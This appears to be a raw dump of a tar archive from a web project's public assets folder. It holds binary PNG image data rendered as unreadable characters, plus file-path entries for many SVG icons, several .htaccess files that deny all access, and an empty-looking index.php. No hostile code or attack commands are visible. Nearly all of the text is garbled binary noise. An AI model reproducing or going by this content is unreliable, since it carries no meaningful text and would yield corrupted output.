v/|8eˑW׷O7uþeҒŰh*L@OUPKkhr[z,{$0l0]5T=қivo9 4|X&6o/~8sA גŒA XlYyO/v#*O*J@x{q\Zlᙯ?-/OJFFXp>}=D~i?X;Ò&(QD꽡#xu#mw=̽_!=c*>ر*e&L|kdO,uXڳ rO )mOJ[:W r5p0 hWnFt%xP܀$GaB9N+#XJ`LZ;uXz]Y܍}  ,]{j0#\{n?($%qVXv_wZѷIزVoЪejaHk,!`.lG[ O=(Ri__AW+4b&-*!}"GwKƃ`a X_(^@2| #+`L.퇡L4ԭ)V 61oӯb7uP|G1WꝽUJXJ`?'/XpQT46;NDqu_\5rMz#F%!k۱,Bmd퐵9N"M"mh+]EPæ6}uFCDhԀťG\k@J=(Rb(# A:hFĥ6O\ήߋ.X+€d4 IiDc4]KۧXJ`MX_2Oy% ?Ɋ)W Z =7ʦߐJ[[Q|2M[Jk,ŨTԔ5)T"]#b8p co NB>Ύ(ƴ3NFn̴S𮱥ir&9^re`Y Nou CMfq8uZ;3xbhh\ MMT`ٹ}P`:~ZYԯFZ3ÀK;&m+)a Ҹprws^Ҳj Ѝ[bȒLCT"G~J^% r[`K\3FojaV(R {h^/% dl5f 0 Nb(3{b|FȈja[芉u_.<د`l܀@DE.A c.\h^1tX!K6859e{|ćGFSv8סOr#a/PU(:`LzA\G: 2 TO5NWֵs{\l0׹8w5ġ2yd6HK)%u%`m>lH&=i{[1 ѿ6roܖ7:O_nW,ŝ(fz̝bY5b쟮J`)Q"Km&'].6F|>!% j<-PKێG?k1*x6~ 6UC KݒUH&*=|$P&wyM\GYO8S}npPBan*7"12Gɞx^ED,u-]q$>2Nv9n* \MkC/"gnqȅg0`y .?6 P߄A[% (ɗC,OXF_v~ ._+ vN~=c5b`%띰%*5pܯRz4X* NNגdSƜu3% (1%;h0!v#UzX/7`?Nf=U-2`|`2,"$ߋˤ֬u޵``QoLEQ{r;`6#{FrPױ1%J`)QYJ`5|b9N;_:n^gb72xožXRKHUݞ\+%J`)QEB6 /1\ uO=и|N)OI$7-&d֤Q5ӫiJCq#,X ̲qa:#2(QK,+uNl8F?zmOPKɷچRA%J`)Q]|͏lK.&*z[ Ŝ8@X ٸo^3{z% (ףlpr :)atX Ȥ1寔(QD 6 /`T3O;vnQDXª%?W[w[E*Re&2|N,%J`)QE û*:rap˥zR̝|)V pPxXazՂhQ5{Y+G*,+;?`%$Z"0JmQ7 Dg+QK,ѝ-.O*`,L~\!g¹d; 2Ӎa@zHOYNL25TþWEX[/ai,b`)1EX.Îl,n~rZԃE_s떬8r}Op3RDXM '%]L݋7qۃ'Re\N)?)_ceK} `LIZw6N+=pVtn=(<^ŏEr|fHCXpdB׿gLG JsϮ3ydmGD,% Hv"ʰj]ۺXx6y'⍑EB;fy &,97K8$Pµd@5Ţz֪=R1ZZIhs,YWŏ6V`I`&o]_%kVx , /GZ4.t,?PeRQK,|-dʅeOݞ̵^:nƛȌ5^t$\ '/w7s0VCe6!`QUm )3 FszY#uRXh^zM2_7"WI ňqX^aqh1l%U͸7%D,% (!5 e;"t|a=([dXd~ӭ|$ostL,!<尛;  Z;s \Q|_ѧK*1sTz1]o(^ߺ};Xo@GΩa0*eSm^2qt%J`)Qȑ0NS"6{:#$~ȸN0?^3p0ȹʟsibI["yƆ &|b:gZK>''uM-],~4O$Ti"7[kHڜK~"b50w<툗uඎkoL,%J`)Qe`Z[j@my} X)q;lGu:# Yi' >izUo9JJ+^kd/ ?V$B[-Ý7NkI);fU(luz0Ѭf:Dˁ;.e;Ys4& |r޵髼 ,[K?]t6jSLQ6W z ,t&Md 2BVSY'J*htD,%Ƌ FJ H "O0O `a= ­/1Z.:'"Id#fH##ɚ4spc6)hu X;'3,.45-!@B%>0rU  8 @?cy  j"m$Fva&R8M 3xtkAHTXȒr!kW,n=%Klt4иxD/pxs*и|C&lRwnm+(] q Є!흯d5A@3SDcE`yȅKsk%hEiC 'i@r4?/r%h|'?\-`(v5?EeMy*_XueH/C gr78ۉ:Ff KwPףZy^aZi@ VcKS7,zu +}?΀ж!fi([:g@5%H򃥘+ 9! Fl|j48jh Eb|w|6f&ӤbINǢH5iK8PYM(U:~tkJ(R sZY|Vd! "]^( bs|nZjKym \BG52y1+T$%18Ѝ2[fSHz\qq*Q1d6mZx2XX@-fkhTX*tӱ\Z 5=F.x(T45S&xߎ]ތqkz;fT)3kLӗKWDM}<%tYy(Q(QVn Y5g髽(аbw}!@*-2h8` Wy]+p ,X@QH9X,E&_NfՊީfYKx7к]ŏjZ)-Y}޼t$z)J`)Q3}f_Ff;yV.k@* +HG#^1eaoǴ'gHZbZskEXJ`@~ك -Jn:<@tO&X\$*JD!< F;g&H֪VH'^uoa[:I.j."0 |k.d(QK,tX(}5(1%(\75 (Go;A9qtαFPrFڈ7Y# qD]n;f^BOL5lTXԃpQK,)/!` 1iXZrzP X(QקX ']5yZPzV"C?O~mA`bK[\*n*\|DX?` lL.i|^DEΉrd7,#Yk J,4}stwr+z`8yWyN\d<9TƢtcԕ=S ` Ш|%VZXfK%>зSW7$>gQKț,L .h{WVb;u76廂h"gqXi~0TV`i/7@> Z܆ Uo߽@G xa̖ϙȥVaX?i㕏ҫ]9z .FlPJ7Xؤ8] jLVܙ+Id3o\W75bR,fmp殁iDX<+o&J=" ʃ4wOTbak " Ls:M&8PN:0:Gn:j X@Olre+H+VW5+Yf5 0 BGoORTxO*ik0R8X6'!$ !< X=aiURT8?n+^Tẉ<)Fn#ur:-iJOp*.$Uyeh)XaXa'k3XJ`DR6,SYu_RR٤L OU).A)n귅p~qCԭ“vi̳o:BrLDcs' [_taUշQhi$^'==]_Dfи|Co>9i;#[t$cؘ^ؗ$}) TdXVP~jeBN qSV;'}1wOYΊ9!jOҝ+v[xg$.8z3FBv6N|9""$_۹ A7rC4xj>I Ef6v2,JG "5~qI&?zxV@tNX\~DB\~ŋcB |GGxcϴ| a`b{D8y| N݁a'T!rk|ȅۏGdVfF,2.vfk-.8=6CR \Hk&\$E7)J*t;{垃{ Zgb75י /'ÔǡZoto;M[œ} ]c*DDϾ] 7@>OV,13[z?Xοh<bՊw4MެZp8HvPpMh䙱MTi5*cv|$ J`.[{T #ʎ(KtvRL8U+,\zpSE%CmxB%G a ɖ(x4m41}0x +>ç?H䡶$d#i^3Gئ/D.[Մt#~W3*Bvļ59۟|MCQ_?;UT)*Ĺ)R̻7ciOr~o|%7GcR'?Vzō\ Y"w=d7z:vnP 1c!` Xu,@ @,, @ @,, @ ,@ @ ,@ @,, @ @,, @ ,, @ ,@ @,,@ @,, @j( oCc! X`` X X` X`` X`` X X`` X` X X`` X X` X`` X`` X X`` X X` X X` X`` X X`` X X` X X` X`` X`` X X`` X X` X``` X X` X X` X`` X X`` X X` X X` X``0g8uIENDB`public/assets/assets/sources/post.png000060400000014416151724235750014021 0ustar00PNG  IHDR XrBPLTE+t-v3z:Iatʠծۼ4{F^zÛӺG,uHhι+uUM;v1yPf0xn߰ܧף՟շm∴YOD6|-vC[~V?6}}BK3zo>=xAwRy7}J̋cbΑ.w2yت؅Ȅ`/w9~s{ė8~^嘾уkNE_ɽW95|Q]gӓρe\TӳiXRpj逮ގ҄q\߼y,'eB'<,4D:)Q%iZRzFW_6~啓9O5,QnX_PXT\cdgY e(3ʪ{8սښª:W1˫(JĤUcS3Ρ%՗@qDEbƾFLR2ηbeWd v|)Fo;k,n1%EO7D+zM%_q}Ee[@HnC48$z#%"%â749N `8A)D=1+6!:= RHhpf # R܀h^N98=,(f\p,.H\vYb-hѬ>µZ[MqlXᚽ:Oĵ˪ؒq9 ?OCprvV忭']D^6~h%{啾5cKp 2F bXQ/6|C+)vbŚf]Sۺ [8;%3ԫs)yՠ&b'%}Rc2,$ZkeOFՐ^ pu*.D!4NՕ$-uXGz52B ^KSu֭]ডjJ[ *BTӐ W("DFj+yalCb,MUEbh ˓Ry[V  ؝葈B ixQn#厼%՜ާNo^=\*۱s;VnוK=fva܍ݳߛw!Ё k8Ѵts6'G->#Aӌᵘ^cm:XчzW9\IB5:tBDFI %խco !AS0(|cx@(Yy#-oJ<@cX k=">pa~Aƺޡ!DŦӆcFgRw )s}ɴO"4<{ *_ 7fӐhJe56.o\hߙʑ"r:RكS`t _ÅD* DTI% p)ZIm`gFz@q7+ D\2z]7za'&u:=Jg/QwKJ'v\BDHvO*+x`'%@B*=!Dd$N.xQQ ]pPy}zIw9 "2n ֓ 7y}[0D d"2,QsM jS`q4́QH%s j^7}~Z>z_0o$@HhՌʗP:HIW {O1ij~IY+ %Q'ʂ{az=ߜAvԧp*IAHhC8;߉k}ݝZ3y@G%+eԪ*۩73`f(9YT@3i SrMD+r'1(#YDzT Jj#!˨>3'ePS!^mTdkH!r{S, Sl!,*mt֬JT D{k5Νw(& 3"EQn5l^qj-[3^_'SBԽTz>je0$Q+1 vc|^4uos= [ A4uo#R/Mj3\[;|Ee#{M!r?~=caFS^*&5ӃfRk n|^K'-JSQQ$Vi=z ?٫u* {njA灍i* ?yTށu3o$cjM-M7#6~FQ !^ k':[gJXsCSB`/&Q'q.XHö2AD-F!عvj j{b5QIǩu066gҊX?EMc޻cdj}k9v{pS1wGWa²5 Kae c`B!QF@X:Ek )j"$x!Rt*,Z^VD5ṙZ}`WWI;p. qw!RPRiRg-tFO0EՃ)!On"ԠqOLk:RBs;#dh<VsB\/9r :]&QzHeƁ,]֬m։MeD)kT@쏈q^EPƋ["TL#*$DTآ+=곏ZZBcY m9r G%~ {-ө΅F瘦 nt!煬-!"Khxޤֳ6s~m(Nr˾J?)BD@7Y^[RBU|5u& XTv"Xi%htIb詀VnzNb%3JRk&@^A0cj0bj],C TJAXi)"BST>tk6LV+FB)jv>""na,tMΩ rBp@&ƶ1 DdܚIwhA RIa`A3!Y*BH8LytPbĪKc`J:C N(jNpT /sk؜eL ,cCB*=!Dt(J0 @W =sVnBtRBDʥ**GsyuzOx*O˾ڍیJ%)oR*NTt ~Rᵩ0>,5۫11ʛ"b*rtVR6١ G۷k)ȉ`eTJs9yuuk?XDrZP9rBD3\(:m7ëA[ߏȢ.b/Zr͡! !">˅Σԙ :l@%Q`Q w@H7b0,8][X&64 gôa*BXigYjm=CCWY]Rq 2s[`{y|QY.8!"+$ M-ƶ@ gа !‰C4.} ',<5(:gY#L{yá"JAN!^A'.օ+>uڂ<iyiz&Eos_&]ӫف1hژ!HN5 e5oTpW} 9" ~ֲ{[נw']R-+6ǥ5o"yM+b`c2Z9u~RBDb7M!А*Z8;Oh%u0|W.Ր^;Z{)^ D<^/g#ꍂf;^e]5?BD498\3jo^ohR/TT9?΅bQաs Dz)cghu"zR' +*i:BD/JJz.j6PJڷn* D4[HO)j/@X1TPB*gm+xՍ}//CuGgxr|"j,HD3BDy ]Y vƃZHh`j+׀{"( 3S 9@,S! ]K3w"n<rAVS5B\+ʤOUŧǢV< ɜ !!gOi(=Z~fNהYg=PK_g1@),qy [Tdte00{qq͙M?}ϴn8B\\'џT;Z[&pmbB*9/ VГzp@-+L~ԋr'D޸Wt[5=4.>!FPsFX1ǝm`FA?|9 r7!5B8&Q{~{ NA)q~ljIjjx{Lk|dZHכ;u{;cq="K4% +!)wu?nzG5!\;+f.վCb|2k-9>C{gLfI +]m&8Fnsmr6[g{pA0 6idu* 1R[s譖b|#y@>IENDB`public/assets/assets/sources/youtube.png000060400000027672151724235750014540 0ustar00PNG  IHDR X'/IDATxցP@._@75  @ ,@ @,,@ @,, @ ,, @ ,@ @,,,@ @,, @ @,, @ ,@ @ ,@ @,, @ @,, @ ,`` X X` X X` X`` X X`` X X` X X` X,, @ ,@ @ ,@ @,, @ @,, @ ,@ @ ,@ @,, @ @,, @ ,, @ ,@ @,,@ @,, @ ,, @ ,@ @,,@ @,, @ @,㉽Z/ˍ:; 訮-R U^*PyÆF?_F]ziШQEϙr_ܹ3r>$?ڳ'cW_M^*v޼֠a#^0?/cnFB+l X@=$@Ç^{mц3&CLzTW_x뭌ߦ=Hܲ%s;vy/,9r: 1)5/7:κfMjnˣ$:z謭i//o>QRrpgؑysƖV@7'i 0!Հkѵ>Պ,pm '?)﫯 +*~9ȄLq niG]][YYCRRJo_w:DxaS;9xʴ`V.LW^)*6DѐgKoyQgHyJ}[h-.z`ѣ,WUc;CJPfɗ^r, X*irʩbj??o#0`~!uݨ7Qs1G}taZ|`:G vV=,@?61 ĉKU_AQfpT /]8:v_+5#rAw Xm/Gfjm rtT[|G!,'Mҷ3 D',%,p+DGe%5+D X@|Z e) hm(f2gg4acSy1Ω _7~~@t5&c8#O9CǏw@sΘr8Ͳ57)~[7H7)t/M ʼn'@Q X6W"OgƂ)tD]޽ع1?]wճ&,V߻'XИ̌Eҥ >NT0a4zѓUgc}) VZjX@ֽ3f,Vр'sp-Lmk5LY]}5˶)/ =s-6:2w.34*5C+Lq< 4cjw.¨ٳS(~y6 `*kGBy`eF{EEИ1;\Eϙg( >{0%V§N`[lyK_3cqj&|eV58 NK5ALYtsT2 .9=^T 9<#gT۫`[Es X'.eƢYXшu e[nK}޽6l޵+sm~G֎Y۷tΘ@̞GY۷QoP)wmU榵cǘyy= & 0\`#zwi1whdv+XQScg QzU VssؤIv+XeXd٣iSƄ\GNfyzi]嫇Ů5VNTj,lv0+;:LZ)Eq xP˻ `惺pf^q^RТy6s`F(!Ɵ;oђp^rCXH)m1)ɪmګ`uE͝k˹@?oȌv8ӹ3? a=پ^h5/Yq۳`99{6 @U)SZ(L$.X`XzO_NֿOsJGGUO !%R!ff;rs5[gN<ؙfFg˥`L&8 fA##cQ hP>]L=l2*4pw̟olk,BW]QS#+g jYe('$+irzZg}}_g:QLqy3y(^M,kfD`,ܾheH4C]ĬYF(-qȮ'NlfFcJt V_I=0 Y`-_n`Qs`%&+cfZ ge—9jG/@ED(X}g 3e햊i #2XѡCC%'s*r/?- Xmm*XaSX\jy߽Za)y:OhL''ëۘjj1V9)UҠXk瞓q(Y"7lP `uRrEaÂ^U8f/LSaq>h9|&Xߣm\`|Fmpo5Pf(-H@ Zvqjm 5JO)X /+`&_2n5`|/A4~rmI*i7xlJÊ5T-7b޽[mq}:+esXF`Fӛ61a|UY0x;]U V4 0dNe2&ZssUzjxW\Onl.6E[Pks$R:U'ON[J%,XS9LI K4$'{;`KxׄC͙L]#,5+55c6Il 5Km}Eg󟇼` &YY#X=1z*0%7cc)wJX|@z,oK:vNvNP[nQ K%Ծ7Oy`% %Ǐȫxtc}.P\|+T'X{uO3`y+fl5+O̼yL$JT&`e.2 .M,^ voJI@1Y3!X@ w0VQA5C bXvbA+J,,zwk֘&XvWC|JN_/3, XP|3GnŃAV6Mx W?fܤLmN`@$XQg[zJFQ3f-al$.);E%¡%X %´u C XrOe\ф` W>*-(InTPd`x@`՛DXʴھ fgΌ=;zƌ3g'+- % ,tҀQD {ehV"J:Vk`i-5K*XұtZJ 2 X%i W@M +.䧞ALÞ=L> XCH(Wڱ] XtIGtDh:@C7>NTUME(AF72 D[| VkVɂE-,ځ ?``< nogqbp>+O)R7{`Q!Ps+y2+,dВ 2,4,JC a¨ e6iܽPaZ"Ch)(0GyDMOFOGQ#jXі-|x'@:gJJ`em,,^q}` }'p,l20}&=kE"JIrg?ob{k]~]\Mdw;f`\ Uz7 K ֩7t1Th/X|J#q! X=o;-ݚ3HKTJDHզ`Nk + ૯H@ǎ=> ,`j:uې`)!X_1s%' GKna,JZ_SS[rr:hFgM ZP@խҨ>j}\\}|<]ZZX @ܬAHZ|и{zAiӆ X. r A6,F XruI7fz@Rft҃5L>h? ;/f+;Ǣ V6,֢E&ݶE^ d-bF̚E5!X@"* ^:XvmTH+ĂE"eqߠQL,AgWi)- XsI!X@{5Z VM7u `ѫ[`uup e8HkfF+GD ,y.` &lB7&XP''g)׿B X@SSy> g? wP رb"y`54Ex㙢"+FQSSWERGNל 7FE=LrF5y`egr%ѩ`89Ƥ$`zJOs5QU Xuu>_nՂ `QQ":ʽ'5gfZ`>#\u 10PմTsfh/xD!ULqt`]za+`3X;w+*4*gKQa"_BE,M,{Ud STgQv(X^^L:;=Y`\i L>jMC#X)^?ج` ,GU!Xa/ŋkӄ] 64 9+ˋup!ec(m Vdu`? V6+X99%XY|`` / cgA;oU#/X>GZgWN_aՔJ",B#U"O42r|/rV9X,>,۝}pr$XW\|fuߓ) 97u /i'mÆ>ַڟ`owwrX訬1\@hDP6scGW_ҁn}3(+SC`-8/=J[Fl9}FC&Nl`?.(E_$r}{Q`@_䬙L7"X ~FE1h-.ZbUTd4L中LwCW\eƔ^`֩^UW +;;{2_Db2Kjۮ˚K`s~yakK c{-;KS 2׭s6I0/L}Y*~¡[ɝuaң)SxysKFڰ|vP{rǓ5rW?i{r U%U2qW [ؿRGܴu0M B&<q=r\$Oi>d`56:9Ż"LJNFٓe.yZ_[0@ł{KBA{CC-GfRPf=-)Xt,XT_ x22zڴ3VSS ⥺9GʣG#, X@Bp/C<*sfLI3/ܷ/q 1_h5 Vw[j(/M]uuA;$ꬭ :X=6n:L򓠘-mY`"G귣L+DyߧH3X$WUQm4qI˳8U>Oοmއ%Bgk* E֭zxgiA'QT^TY#5/@O;K 8̄>VKz-S+jMm-ع  Ux, 061B?e%$gH^B-J\Lp h$?҈`]qSgJ}_{BR*/`m$@*ݕ|9t5N_Bf-ђC~tZ Xا`E̘A)VLCAZ23}]dhGnj'sgKv6FwkkI;̅MBhYK.q9ZZo|/5v%4$\xasF\9;'YiS֮4%?Lӊ*CJ8Kڇ\kY(=r${_ =rbJoo&m6[a=~}ڵ%w}h̼y-{:SEE1)5֭ 'Wq)蘺~}5#*z.(AW]IApc_RÆB5~Qeu;)+k6cjLi)eoܘq)ʢU0;:rr(Ɍ~g.ح`ٳ,2c/~\@ƋwӌԄMTr"5_{2w@$ ]~4K! K tB X^\-:-G'Ȗrg٧H) fp\2S&*ѐ3J]- D.O^)O}5bT$`X, +zLf߁ }<󼔔b 1ٻv1{ ~"‚^[nf0y_}Fz;, _ T5W3,@Lb\|1obWڵ ` j|z̞ђ{T{ XUڥ_&Ӧ@ [nn+-ev]x_p uG)幽 %5U< X8VɭF{v XxM A,3鯽QYl"uO+:"X) 4^{mΝl(z9ZE+J^XEB4*ޓ~}e``]L @Ppcr>DW|` >|+bԘG;7yŊ/9|_~9RRU7edt551QUUPYz8d~9cdV1Sܹ1>5s}XG=,5& jiVlùCW99Ob)S"+GR~:wϞˎ+w>^~X˝gZ]W՜^]bz=5jͭ]\8ΐ|E֖-tb3lʔ7zM^-pXChs>B݃V҂2[/7jB濴E 䈐o6Z$1fhY3#M IBƍ =G]s;G} !h{Mbz6Ε2 |: u?Bp X`` X X`` X X` X`` X`` X X`` X X` X XpWu@08c `0X `, 0X,`0X ` 0X `  `, 0X `  `, 0X,`  `, 0X,`0X `, 0X,`0X `` 0X,`0X `` 0X,`0X `` `,`0X `` `,0X `` `,0X ` `,0X ` `,0X `  `,`  `, 0X `  `, 0X,`  `, 0X,`0X `, 0X,`0X `龣-ViIENDB`public/assets/assets/coloredbg.png000060400000000132151724235750013277 0ustar00PNG  IHDR tRNSGpL#IDATxcp/AFL=IENDB`public/assets/assets/.htaccess000044400000000177151724235750012442 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/hardware/ic_laptop_chromebook_24px.svg000060400000000237151724235750021013 0ustar00public/assets/assets/svg/hardware/ic_keyboard_24px.svg000060400000000525151724235750017104 0ustar00public/assets/assets/svg/hardware/ic_phone_android_24px.svg000060400000000344151724235750020114 0ustar00public/assets/assets/svg/hardware/ic_desktop_mac_24px.svg000060400000000323151724235750017571 0ustar00public/assets/assets/svg/hardware/ic_keyboard_tab_24px.svg000060400000000267151724235750017735 0ustar00public/assets/assets/svg/hardware/ic_router_24px.svg000060400000000643151724235750016625 0ustar00public/assets/assets/svg/hardware/ic_memory_24px.svg000060400000000446151724235750016616 0ustar00public/assets/assets/svg/hardware/ic_mouse_24px.svg000060400000000331151724235750016427 0ustar00public/assets/assets/svg/hardware/ic_phonelink_24px.svg000060400000000362151724235750017272 0ustar00public/assets/assets/svg/hardware/ic_speaker_group_24px.svg000060400000000631151724235750020150 0ustar00public/assets/assets/svg/hardware/ic_laptop_windows_24px.svg000060400000000331151724235750020350 0ustar00public/assets/assets/svg/hardware/ic_tablet_mac_24px.svg000060400000000463151724235750017400 0ustar00public/assets/assets/svg/hardware/ic_keyboard_voice_24px.svg000060400000000444151724235750020271 0ustar00public/assets/assets/svg/hardware/ic_cast_connected_24px.svg000060400000000532151724235750020256 0ustar00public/assets/assets/svg/hardware/ic_laptop_mac_24px.svg000060400000000441151724235750017420 0ustar00public/assets/assets/svg/hardware/.htaccess000044400000000177151724235750015036 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/hardware/ic_laptop_24px.svg000060400000000313151724235750016576 0ustar00public/assets/assets/svg/hardware/ic_device_hub_24px.svg000060400000000350151724235750017375 0ustar00public/assets/assets/svg/hardware/ic_security_24px.svg000060400000000337151724235750017154 0ustar00public/assets/assets/svg/hardware/ic_keyboard_arrow_right_24px.svg000060400000000225151724235750021510 0ustar00public/assets/assets/svg/hardware/ic_desktop_windows_24px.svg000060400000000323151724235750020523 0ustar00public/assets/assets/svg/hardware/ic_phone_iphone_24px.svg000060400000000460151724235750017755 0ustar00public/assets/assets/svg/hardware/ic_dock_24px.svg000060400000000332151724235750016220 0ustar00public/assets/assets/svg/hardware/ic_speaker_24px.svg000060400000000547151724235750016742 0ustar00public/assets/assets/svg/hardware/ic_tablet_android_24px.svg000060400000000345151724235750020257 0ustar00public/assets/assets/svg/hardware/ic_watch_24px.svg000060400000000446151724235750016414 0ustar00public/assets/assets/svg/hardware/ic_keyboard_arrow_up_24px.svg000060400000000223151724235750021015 0ustar00public/assets/assets/svg/hardware/ic_headset_mic_24px.svg000060400000000362151724235750017550 0ustar00public/assets/assets/svg/hardware/ic_gamepad_24px.svg000060400000000312151724235750016674 0ustar00public/assets/assets/svg/hardware/ic_cast_24px.svg000060400000000451151724235750016234 0ustar00public/assets/assets/svg/hardware/ic_phonelink_off_24px.svg000060400000000522151724235750020122 0ustar00public/assets/assets/svg/hardware/ic_computer_24px.svg000060400000000324151724235750017137 0ustar00public/assets/assets/svg/hardware/ic_keyboard_arrow_down_24px.svg000060400000000224151724235750021341 0ustar00public/assets/assets/svg/hardware/ic_devices_other_24px.svg000060400000000652151724235750020130 0ustar00public/assets/assets/svg/hardware/ic_keyboard_arrow_left_24px.svg000060400000000227151724235750021327 0ustar00public/assets/assets/svg/hardware/ic_tablet_24px.svg000060400000000313151724235750016552 0ustar00public/assets/assets/svg/hardware/ic_videogame_asset_24px.svg000060400000000550151724235750020441 0ustar00public/assets/assets/svg/hardware/ic_keyboard_capslock_24px.svg000060400000000251151724235750020757 0ustar00public/assets/assets/svg/hardware/ic_keyboard_hide_24px.svg000060400000000541151724235750020073 0ustar00public/assets/assets/svg/hardware/ic_keyboard_return_24px.svg000060400000000240151724235750020475 0ustar00public/assets/assets/svg/hardware/ic_keyboard_backspace_24px.svg000060400000000235151724235750021076 0ustar00public/assets/assets/svg/hardware/ic_smartphone_24px.svg000060400000000315151724235750017461 0ustar00public/assets/assets/svg/hardware/ic_headset_24px.svg000060400000000351151724235750016716 0ustar00public/assets/assets/svg/hardware/ic_tv_24px.svg000060400000000322151724235750015730 0ustar00public/assets/assets/svg/hardware/ic_sim_card_24px.svg000060400000000426151724235750017065 0ustar00public/assets/assets/svg/hardware/ic_scanner_24px.svg000060400000000362151724235750016734 0ustar00public/assets/assets/svg/hardware/ic_toys_24px.svg000060400000000402151724235750016274 0ustar00public/assets/assets/svg/hardware/ic_developer_board_24px.svg000060400000000420151724235750020432 0ustar00public/assets/assets/svg/hardware/ic_power_input_24px.svg000060400000000236151724235750017656 0ustar00public/assets/assets/svg/communication/ic_textsms_24px.svg000060400000000330151724235750020055 0ustar00public/assets/assets/svg/communication/ic_clear_all_24px.svg000060400000000223151724235750020265 0ustar00public/assets/assets/svg/communication/ic_location_on_24px.svg000060400000000377151724235750020665 0ustar00public/assets/assets/svg/communication/ic_phone_24px.svg000060400000000525151724235750017465 0ustar00public/assets/assets/svg/communication/ic_call_split_24px.svg000060400000000315151724235750020477 0ustar00public/assets/assets/svg/communication/ic_stay_current_portrait_24px.svg000060400000000326151724235750023021 0ustar00public/assets/assets/svg/communication/ic_chat_bubble_24px.svg000060400000000247151724235750020607 0ustar00public/assets/assets/svg/communication/.htaccess000044400000000177151724235750016106 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/communication/ic_message_24px.svg000060400000000333151724235750017775 0ustar00public/assets/assets/svg/communication/ic_stay_primary_portrait_24px.svg000060400000000326151724235750023022 0ustar00public/assets/assets/svg/communication/ic_phonelink_lock_24px.svg000060400000000605151724235750021352 0ustar00public/assets/assets/svg/communication/ic_ring_volume_24px.svg000060400000001163151724235750020701 0ustar00public/assets/assets/svg/communication/ic_invert_colors_off_24px.svg000060400000000734151724235750022100 0ustar00public/assets/assets/svg/communication/ic_location_off_24px.svg000060400000000634151724235750021017 0ustar00public/assets/assets/svg/communication/ic_call_merge_24px.svg000060400000000311151724235750020437 0ustar00public/assets/assets/svg/communication/ic_live_help_24px.svg000060400000000607151724235750020324 0ustar00public/assets/assets/svg/communication/ic_import_export_24px.svg000060400000000252151724235750021264 0ustar00public/assets/assets/svg/communication/ic_call_missed_24px.svg000060400000000227151724235750020632 0ustar00public/assets/assets/svg/communication/ic_email_24px.svg000060400000000322151724235750017436 0ustar00public/assets/assets/svg/communication/ic_dialer_sip_24px.svg000060400000000650151724235750020466 0ustar00public/assets/assets/svg/communication/ic_call_end_24px.svg000060400000000751151724235750020116 0ustar00public/assets/assets/svg/communication/ic_comment_24px.svg000060400000000337151724235750020017 0ustar00public/assets/assets/svg/communication/ic_phonelink_ring_24px.svg000060400000000466151724235750021366 0ustar00public/assets/assets/svg/communication/ic_portable_wifi_off_24px.svg000060400000001340151724235750022030 0ustar00public/assets/assets/svg/communication/ic_phonelink_setup_24px.svg000060400000001167151724235750021566 0ustar00public/assets/assets/svg/communication/ic_swap_calls_24px.svg000060400000000373151724235750020505 0ustar00public/assets/assets/svg/communication/ic_stop_screen_share_24px.svg000060400000000666151724235750022070 0ustar00public/assets/assets/svg/communication/ic_call_made_24px.svg000060400000000220151724235750020245 0ustar00public/assets/assets/svg/communication/ic_screen_share_24px.svg000060400000000430151724235750021010 0ustar00public/assets/assets/svg/communication/ic_mail_outline_24px.svg000060400000000337151724235750021036 0ustar00public/assets/assets/svg/communication/ic_speaker_phone_24px.svg000060400000000733151724235750021200 0ustar00public/assets/assets/svg/communication/ic_phonelink_erase_24px.svg000060400000000374151724235750021524 0ustar00public/assets/assets/svg/communication/ic_import_contacts_24px.svg000060400000000752151724235750021566 0ustar00public/assets/assets/svg/communication/ic_contact_mail_24px.svg000060400000000503151724235750021005 0ustar00public/assets/assets/svg/communication/ic_forum_24px.svg000060400000000341151724235750017500 0ustar00public/assets/assets/svg/communication/ic_chat_bubble_outline_24px.svg000060400000000274151724235750022346 0ustar00public/assets/assets/svg/communication/ic_call_24px.svg000060400000000525151724235750017267 0ustar00public/assets/assets/svg/communication/ic_present_to_all_24px.svg000060400000000356151724235750021370 0ustar00public/assets/assets/svg/communication/ic_contact_phone_24px.svg000060400000000717151724235750021203 0ustar00public/assets/assets/svg/communication/ic_stay_current_landscape_24px.svg000060400000000312151724235750023102 0ustar00public/assets/assets/svg/communication/ic_no_sim_24px.svg000060400000000404151724235750017634 0ustar00public/assets/assets/svg/communication/ic_chat_24px.svg000060400000000330151724235750017265 0ustar00public/assets/assets/svg/communication/ic_business_24px.svg000060400000000456151724235750020212 0ustar00public/assets/assets/svg/communication/ic_vpn_key_24px.svg000060400000000401151724235750020020 0ustar00public/assets/assets/svg/communication/ic_dialpad_24px.svg000060400000001112151724235750017743 0ustar00public/assets/assets/svg/communication/ic_call_received_24px.svg000060400000000220151724235750021125 0ustar00public/assets/assets/svg/communication/ic_stay_primary_landscape_24px.svg000060400000000312151724235750023103 0ustar00public/assets/assets/svg/communication/ic_contacts_24px.svg000060400000000541151724235750020170 0ustar00public/assets/assets/svg/communication/ic_call_missed_outgoing_24px.svg000060400000000235151724235750022544 0ustar00public/assets/assets/svg/communication/ic_voicemail_24px.svg000060400000000660151724235750020324 0ustar00public/assets/assets/svg/index.php000060400000000033151724235750013250 0ustar00public/assets/assets/svg/busy-icons-svg/folder-online.svg000060400000014662151724235750017613 0ustar00public/assets/assets/svg/busy-icons-svg/printer.svg000060400000020716151724235750016536 0ustar00public/assets/assets/svg/busy-icons-svg/paper-plane.svg000060400000005025151724235750017253 0ustar00public/assets/assets/svg/busy-icons-svg/character06.svg000060400000030542151724235750017153 0ustar00public/assets/assets/svg/busy-icons-svg/speech-bubble.svg000060400000007617151724235750017560 0ustar00public/assets/assets/svg/busy-icons-svg/profile.svg000060400000013350151724235750016507 0ustar00public/assets/assets/svg/busy-icons-svg/lightbulb-green.svg000060400000012571151724235750020125 0ustar00public/assets/assets/svg/busy-icons-svg/people-search01.svg000060400000016174151724235750017746 0ustar00public/assets/assets/svg/busy-icons-svg/chart17.svg000060400000017111151724235750016317 0ustar00public/assets/assets/svg/busy-icons-svg/character01.svg000060400000035177151724235750017157 0ustar00public/assets/assets/svg/busy-icons-svg/pin.svg000060400000012512151724235750015634 0ustar00public/assets/assets/svg/busy-icons-svg/person-finance.svg000060400000013543151724235750017762 0ustar00public/assets/assets/svg/busy-icons-svg/head-check.svg000060400000010670151724235750017025 0ustar00public/assets/assets/svg/busy-icons-svg/chart19.svg000060400000016547151724235750016335 0ustar00public/assets/assets/svg/busy-icons-svg/rocket.svg000060400000016556151724235750016351 0ustar00public/assets/assets/svg/busy-icons-svg/globe.svg000060400000015157151724235750016146 